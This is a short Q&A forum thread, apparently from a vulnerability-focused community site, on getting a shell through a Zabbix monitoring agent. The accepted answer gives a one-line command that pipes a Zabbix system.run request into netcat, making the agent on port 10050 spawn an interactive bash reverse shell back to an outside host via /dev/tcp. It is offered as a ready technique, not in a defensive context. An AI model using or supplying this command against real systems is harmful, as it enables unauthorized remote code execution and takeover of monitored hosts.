0 votes
by (141 points)

From netstat found a connection from a Zabbix agent on to the Zabbix server port 10051. How can I back connect?

1 Answer

0 votes
by (176 points)
Best answer

Zabbix server can interact directly with the Zabbix agent on port 10050. So we can execute commands through the agent using system.run!

[zabbix_cmd]>>: echo "system.run[(/bin/bash -c 'bash -i >/dev/tcp/ 0<&1 2>&1 &')]" | nc 10050
Welcome to Codeshikari Q&A, where you can ask any vulnerability related questions and receive answers from the experts of the community. Screenshot-from-2019-03-15-23-08-47